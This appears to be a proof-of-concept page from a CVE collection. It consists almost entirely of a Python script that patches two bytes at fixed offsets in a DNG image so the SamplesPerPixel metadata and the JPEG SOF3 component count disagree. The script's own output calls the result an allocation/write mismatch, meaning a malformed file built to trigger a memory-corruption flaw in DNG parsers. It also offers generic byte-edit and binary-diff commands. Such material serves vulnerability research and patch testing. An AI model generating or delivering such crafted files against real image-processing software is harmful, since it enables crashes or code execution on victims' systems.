4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / hex_modifier.py PY
#!/usr/bin/env python3

import sys
import hashlib
from pathlib import Path

def calculate_hash(data):
    return hashlib.sha256(data).hexdigest()

def safe_modify_byte(input_file, output_file, offset, old_value, new_value, description=""):
    input_path = Path(input_file)
    output_path = Path(output_file)
    
    if not input_path.exists():
        print(f"Input file not found: {input_file}")
        return False
    
    original_data = bytearray(input_path.read_bytes())
    original_hash = calculate_hash(original_data)
    
    print(f"Processing: {input_file}")
    print(f"File size: {len(original_data):,} bytes")
    print(f"Original SHA256: {original_hash}")
    
    if offset >= len(original_data):
        print(f"Offset 0x{offset:X} is beyond file end (0x{len(original_data):X})")
        return False
    
    current_byte = original_data[offset]
    if current_byte != old_value:
        print(f"Warning: Expected 0x{old_value:02X} at offset 0x{offset:X}")
        print(f"   Found: 0x{current_byte:02X}")
        response = input("Continue anyway? (y/N): ").lower()
        if response != 'y':
            return False
    
    original_data[offset] = new_value
    output_path.write_bytes(original_data)
    modified_hash = calculate_hash(original_data)
    
    print("Modification successful!")
    print(f"   Description: {description}")
    print(f"   Offset: 0x{offset:X}")
    print(f"   Change: 0x{old_value:02X} -> 0x{new_value:02X}")
    print(f"   Output: {output_file}")
    print(f"Modified SHA256: {modified_hash}")
    
    return True

def create_vuln_poc(input_file):
    print("Creating vulnerability POC...")
    print("This creates test files for educational research only!")
    
    input_path = Path(input_file)
    base_name = input_path.stem
    
    step1_file = f"step1_{base_name}.dng"
    if not safe_modify_byte(input_file, step1_file, 0x2FD00, 0x01, 0x02, 
                           "SamplesPerPixel metadata increase"):
        return False
    
    final_file = f"vuln_poc_{base_name}.dng"
    if not safe_modify_byte(step1_file, final_file, 0x3E40B, 0x02, 0x01,
                           "JPEG SOF3 component count decrease"):
        Path(step1_file).unlink(missing_ok=True)
        return False
    
    Path(step1_file).unlink(missing_ok=True)
    
    print(f"\nPOC created: {final_file}")
    print("Changes made:")
    print("   1. SamplesPerPixel: 0x01 -> 0x02 (metadata says 2 components)")
    print("   2. SOF3 components: 0x02 -> 0x01 (stream says 1 component)")
    print("   This creates the allocation/write mismatch!")
    
    return True

def create_diff_report(original_file, modified_file):
    orig_path = Path(original_file)
    mod_path = Path(modified_file)
    
    if not orig_path.exists() or not mod_path.exists():
        print("Cannot create diff - files missing")
        return
    
    orig_data = orig_path.read_bytes()
    mod_data = mod_path.read_bytes()
    
    if len(orig_data) != len(mod_data):
        print("File sizes differ - cannot create diff")
        return
    
    print("\nBinary Diff Report:")
    print("="*50)
    
    differences = []
    for i, (orig_byte, mod_byte) in enumerate(zip(orig_data, mod_data)):
        if orig_byte != mod_byte:
            differences.append({
                'offset': i,
                'original': orig_byte,
                'modified': mod_byte
            })
    
    if not differences:
        print("No differences found")
        return
    
    print(f"Found {len(differences)} byte differences:")
    for diff in differences:
        print(f"  Offset 0x{diff['offset']:08X}: 0x{diff['original']:02X} -> 0x{diff['modified']:02X}")
    
    diff_file = f"diff_{orig_path.stem}_to_{mod_path.stem}.txt"
    with open(diff_file, 'w') as f:
        f.write("Binary Diff Report\n")
        f.write(f"Original: {original_file}\n")
        f.write(f"Modified: {modified_file}\n")
        f.write(f"Differences: {len(differences)}\n\n")
        for diff in differences:
            f.write(f"0x{diff['offset']:08X}: 0x{diff['original']:02X} -> 0x{diff['modified']:02X}\n")
    
    print(f"Diff report saved: {diff_file}")

def main():
    if len(sys.argv) < 2:
        print("DNG Vulnerability POC Creator")
        print("Usage:")
        print("  python3 hex_modifier.py <command> [args...]")
        print("")
        print("Commands:")
        print("  analyze <file.dng>")
        print("  modify <input.dng> <offset> <old_byte> <new_byte> <output.dng> [description]")
        print("  create-poc <input.dng>")
        print("  diff <original.dng> <modified.dng>")
        print("")
        print("Examples:")
        print("  python3 hex_modifier.py create-poc IMGP0847.DNG")
        print("  python3 hex_modifier.py modify sample.dng 0x1000 0x01 0x02 modified.dng 'test change'")
        print("  python3 hex_modifier.py diff original.dng modified.dng")
        sys.exit(1)
    
    command = sys.argv[1].lower()
    
    if command == "analyze":
        if len(sys.argv) != 3:
            print("Usage: python3 hex_modifier.py analyze <file.dng>")
            sys.exit(1)
        print("Use the DNG analyzer tool for detailed analysis:")
        print(f"python3 dng_vulnerability_analyzer.py {sys.argv[2]}")
    
    elif command == "modify":
        if len(sys.argv) < 7:
            print("Usage: python3 hex_modifier.py modify <input.dng> <offset> <old_byte> <new_byte> <output.dng> [description]")
            sys.exit(1)
        
        input_file = sys.argv[2]
        offset = int(sys.argv[3], 0)
        old_byte = int(sys.argv[4], 0)
        new_byte = int(sys.argv[5], 0)
        output_file = sys.argv[6]
        description = sys.argv[7] if len(sys.argv) > 7 else ""
        
        safe_modify_byte(input_file, output_file, offset, old_byte, new_byte, description)
    
    elif command == "create-poc":
        if len(sys.argv) != 3:
            print("Usage: python3 hex_modifier.py create-poc <input.dng>")
            sys.exit(1)
        
        create_vuln_poc(sys.argv[2])
    
    elif command == "diff":
        if len(sys.argv) != 4:
            print("Usage: python3 hex_modifier.py diff <original.dng> <modified.dng>")
            sys.exit(1)
        
        create_diff_report(sys.argv[2], sys.argv[3])
    
    else:
        print(f"Unknown command: {command}")
        sys.exit(1)

if __name__ == "__main__":
    main()